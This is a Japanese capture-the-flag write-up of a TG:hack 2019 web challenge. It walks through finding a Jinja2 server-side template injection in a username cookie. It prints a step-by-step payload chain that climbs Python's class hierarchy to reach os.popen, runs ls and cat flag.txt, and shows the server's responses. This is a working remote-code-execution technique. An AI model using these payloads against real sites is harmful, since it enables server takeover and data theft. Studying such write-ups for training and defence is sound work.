Server Side Template Injection | TG:hack 2019 writeup

問題文を見る限りでは、魔法の世界へようこそとか魔法使いになろう！とか中二病くさくてよく分からない内容しか書かれていませんが、
結局言いたいのは、このサイトに何らかの脆弱性があるということです。

どんな脆弱性でしょうか。とりあえずサイトにアクセスして見てみましょう。

ログイン画面に入りました。早速ソースコードを確認します。

hiddenにされたタグがありましたね。ディベロッパーツールでtextに変えてやりましょう。

お、新しい入力欄が出てきました！ この入力欄をいじればフラグが出てくるんでしょうかね(現実はそう甘くはない(@@;))

ここで、クロスサイトスクリプティングを試してみました。

No Magic Detectedというタイトルのページに入りましたが、魔法が失敗したのか(汗)
ソースコードを見ても特に何も発見しませんでした。

では、SQLインジェクションを試してみます。

魔法なし！

SSTIはどうでしょう。 魔法なし！

usernameに対してもテストしました。 すべて魔法なしでした。

考え方変えてみます。
隠されたinputタグの初期値は0になっているので、1に変えてみるとどうなるでしょうか。

ログイン成功！usernameは自分が設定したadminになっています。

ソースコードはこんな感じです。

とりあえず先ほどと同じく3パターンの攻撃を試します。

何も起きませんでした。
HTTPパケットの詳細を見ると、

' " < > などの記号が別の文字に置き換えられているようです。

ここまで来ると問題の意図が分からなくなってしまいました。 ここでいろいろ考えました。(Overthinking)
リクエスト方式をOPTIONSにしたり、

シェルショックを試したり、

URLの部分で不正文字を検査したり、

あらゆる方法を使いましたが、脆弱な箇所がなかなか見つかりません。

残りはクッキーだけ。
一応クッキーを確認すると、usernameというクッキーの名前がadminになっていることが確認できます。(login画面で入力した内容次第で人それぞれかもしれません)

クロスサイトスクリプティングのコードを入力すると、なんか出てきました！

しかし、フラグはありません。JavaScriptの出力内容をdocument.cookieにしてもクッキーが返されるだけです。
クッキーを変えると、その直後に変わるのは画面の左上のusernameの部分ですので、コメントを残して他人にアクセスさせるようなことはできません。
つまり、CSRF、反射型XSSによるセッションハイジャックは考えにくいです。

引き続きクッキーusernameを{{7*7}}に変更しました。
usernameが49になりましたので、魔法が効いたようですね。
またこのパターンキタァ！(XSSとSSTIの同時出現)と思いながら、確かにXSSとSSTI脆弱性が同時に存在することがよくあることです。
同じような問題は、ここにもあります。興味のある方はこの問題と比較してみると良いでしょう。

ctftime.org

{{config}}
↑ 一応念のため、config情報を確認しました。フラグがありませんでした。

結局この問題は、SSTIの脆弱性を利用してRemote Command Excecutionを行わなければならないですね。 (シェルコマンドを実行したい) コマンドを実行するモジュールを探すにはまず、テンプレートエンジンを特定します。この図に従って特定します。

Source: What is Server Side Template Injection (SSTI)? • Penetration Testing

テンプレートエンジンとは？
テンプレートエンジンはテンプレートと呼ばれる雛形と、あるデータモデルで表現される入力データを合成し、成果ドキュメントを出力するソフトウェアまたはソフトウェアコンポーネントである。(Wikipedia: テンプレートエンジン - Wikipedia )

結果はJinja2, Twigのいずれかとありますが、49であればTwig、7777777であればJinja2。
なのでテンプレートエンジンはJinja2です。

Jinja2とは？ Jinja2 is a modern day templating language for Python developers. It was made after Django's template. It is used to create HTML, XML or other markup formats that are returned to the user via an HTTP request.
Source: Jinja2 Explained in 5 Minutes! – codeburst

Jinja2 Source Code:

github.com

ここから順番にシェルコマンドを実行できるモジュールを探していきます。 手順としては、以下のようになります。
Step1:
Request: Cookie: username={{[].__class__}}
Response: <class 'list'>

pythonでは、現在のPython環境で継承されたオブジェクトのツリーをmroまたはmro()で表示させることができ、

subclassesを使用するとサブクラスの参照リストを返します。

class.mro This attribute is a tuple of classes that are considered when looking for base classes during method resolution.

class.mro() This method can be overridden by a metaclass to customize the method resolution order for its instances. It is called at class instantiation, and its result is stored in mro.

class.subclasses() Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. Example:

Source: [https://docs.python.org/3/library/stdtypes.html?highlight=subclasses#class.mro:title]

---

Step2:
Request: Cookie: username={{[].__class__.__mro__}}
Response: (<class 'list'>, <class 'object'>)

タプルの中の要素が2個です。クラスobjectの中身を見てみたいです。

Step3:
Request: Cookie: username={{[].__class__.__mro__[1]}}
Response: <class 'object'>

これでクラスobjectに入りました。

Step3:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()}}
Response:

この中で、ファイル読み書きに関わるのがcodecs.StreamReaderWriterというサブクラスです。

StreamReaderWriter オブジェクト
StreamReaderWriter は、読み書き両方に使えるストリームをラップできる便利なクラスです。

Source: 7.2. codecs --- codec レジストリと基底クラス — Python 3.6.8 ドキュメント

これは、リストの93番目の要素です。

Step4:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93]}}
Response: <class 'codecs.StreamReaderWriter'>

場所は間違いないので、Step5へ。

Step5:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__}}
Response: <function StreamReaderWriter.__init__ at 0x7fb0d7ca69d8>

StreamReaderWriter.init関数が見つかりました。

Step6:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__.__globals__["sys"]}}
Response: <module 'sys' (built-in)>

sysモジュールが見つかりました。

Step7:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__.__globals__["sys"].modules["os"]}}
Response: <module 'os' from '/usr/local/lib/python3.6/os.py'>

やっとコマンドを実行できるos.pyの場所にたどり着きました。os.pyのpopen関数を使います。

Step8:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen("ls").read()}}
Response: flag.txt main.py requirements.txt

Step9:
Request: Cookie: username={{[].__class__.__mro__[1].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].popen("cat flag.txt").read()}}
Response: TG19{templates_make_a_better_chat}

SSTI Cheat sheet:

pequalsnp-team.github.io